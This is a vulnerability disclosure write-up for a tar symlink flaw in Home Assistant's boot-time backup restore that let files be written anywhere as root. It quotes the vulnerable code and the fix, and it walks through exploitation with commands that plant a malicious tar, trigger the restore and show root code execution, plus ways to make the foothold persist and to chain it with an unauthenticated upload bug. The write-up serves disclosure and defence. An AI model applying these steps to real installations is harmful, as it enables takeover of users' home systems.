CVE-2026-64824Critical (CVSS 8.4)Fixed4 min read
Symlink extraction in Home Assistant's backup restore wrote files as root
Backup restore disabled Python's tarfile safety filter and only validated archive member names, not symlink targets. A tar with a symlink pointing outside the extraction directory let the next member write attacker-controlled bytes through it, landing root-owned files anywhere on disk during Home Assistant's boot sequence.
- Vendor
- Home Assistant
- Product
- Core (Backup restore)
- Weakness
- CWE-22
- Affected
- < 2026.7.0
- Fixed in
- 2026.7.0
- Advisory
- GHSA-cwh8-w64c-4j5h
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
Disclosure timeline
May 22, 2026
Reported privately to the Home Assistant security team, the same day as the paired onboarding-upload report, with an end-to-end PoC verified against Core 2026.5.4.
May 27, 2026
Fix merged upstream: PR #172252 replaced the disabled tarfile filter, shipping in Core 2026.7.0.
Jul 21, 2026
Advisory GHSA-cwh8-w64c-4j5h published and CVE-2026-64824 assigned.
Home Assistant can restore a backup before any of its own services start: drop a marker file in the config directory and the next boot extracts and restores it, unauthenticated, as part of __main__.py's startup sequence. That extraction disabled Python's tarfile safety filter and only checked the name of each archive member, never where a symlink inside the archive actually pointed. A tar containing one symlink member and one regular-file member that walked through it could write attacker-controlled bytes to any path the Home Assistant process could reach. In the official Docker image, that process is root.
The fix
Core 2026.7.0 replaces the extraction call in homeassistant/backup_restore.py (PR #172252). The old call combined filter="fully_trusted", which explicitly opts out of the Python 3.12+ tarfile safety filter, with securetar.secure_path(), a custom check that only inspects member.name. The fix switches to Python's built-in filter="tar", which validates link targets natively. HA chose tar over the stricter built-in data filter specifically because tar still preserves uid/gid and file permissions, which real backups need for files owned by non-root users. Restore also now aborts on the first rejected member instead of silently dropping it, recording why in .HA_RESTORE_RESULT so the failure is visible.
The bug
_extract_backup in homeassistant/backup_restore.py (line 92):
ostf.tar.extractall(
path=Path(tempdir, "extracted"),
members=securetar.secure_path(ostf.tar),
filter="fully_trusted",
)
securetar.secure_path walks the tar and rejects members whose name is absolute or traverses upward, but it never looks at member.linkname:
def secure_path(tar):
for member in tar:
file_path = Path(member.name)
try:
if file_path.is_absolute():
raise ValueError()
Path("/fake", file_path).resolve().relative_to("/fake")
except (ValueError, RuntimeError):
continue
else:
yield member
A SYMTYPE member named pwn with linkname set to an absolute path like /usr/local/lib/python3.14/site-packages passes this check unchanged, its name is safe, its target is never inspected. filter="fully_trusted" disables the Python 3.12+ filter that would otherwise have caught exactly this. So extractall creates the symlink first, then writes the next member, a regular file named pwn/HA_RCE_HOOK.py, whose name is also safe, through it. The bytes land at the symlink's target, not inside the extraction tempdir.
The trigger runs before Home Assistant's own auth stack exists at all: homeassistant/__main__.py line 183 calls restore_backup(config_dir) unconditionally whenever /config/.HA_RESTORE is present at boot.
Exploitation
Tested end to end against ghcr.io/home-assistant/home-assistant:2026.5.4 (Python 3.14.2), where the HA process runs as uid=0(root).
Build a tar with a symlink member and a traversing regular-file member:
$ python3 exploit.py /tmp/rce-payload.tar /usr/local/lib/python3.14/site-packages HA_RCE_HOOK.py
$ tar -tvf /tmp/rce-payload.tar
lrw-r--r-- 0 0/0 0 pwn -> /usr/local/lib/python3.14/site-packages
-rw-r--r-- 0 0/0 425 pwn/HA_RCE_HOOK.py
Place it where a restore will pick it up, and trigger the boot-time restore:
$ docker cp /tmp/rce-payload.tar ha-target:/config/backups/malicious.tar
$ docker exec ha-target sh -c 'echo "{...}" > /config/.HA_RESTORE'
$ docker restart ha-target
The file lands outside the extraction tempdir entirely, owned by root:
$ docker exec ha-target ls -la /usr/local/lib/python3.14/site-packages/HA_RCE_HOOK.py
-rw-r--r-- 1 root root 425 /usr/local/lib/python3.14/site-packages/HA_RCE_HOOK.py
And the next import of that module runs as root, with the HA process's own environment:
$ docker exec ha-target python3 -c "import HA_RCE_HOOK"
$ docker exec ha-target cat /tmp/HA_RCE_EXECUTED_AT_BOOT
PWNED at 1779643541.3673491
uid: uid=0(root) gid=0(root) groups=0(root),...
python3: Python 3.14.2
home-assistant version: 2026.5.4
Impact
The primitive is "write bytes anywhere the HA process can write, as root." Landing a file in site-packages means any later import runs it; Python's sitecustomize.py, auto-loaded by every interpreter start, is a more durable variant of the same trick. Dropping a file into /config/custom_components/<name>/__init__.py gets the same result through HA's own component loader on the next normal boot, no explicit import needed.
Standalone, this needs an admin to trigger a restore of a tar they believe is their own, which is why HA's published CVSS (PR:H/UI:R, 8.4) scores it that way. It composes with the sibling bug in Home Assistant's onboarding backup upload: an unauthenticated attacker plants the malicious tar during a fresh install's setup window using that bug, and this one turns the operator's later restore, or an automatic first-boot restore, into code execution as root. Neither CVE's published score reflects the chain; each was scored on its own standalone trigger.
If you run Home Assistant
Upgrade to Core 2026.7.0 or later. If you're pinned to an older release, only restore backups you created yourself, and treat any .tar you didn't generate through HA's own backup flow as untrusted, regardless of where it came from.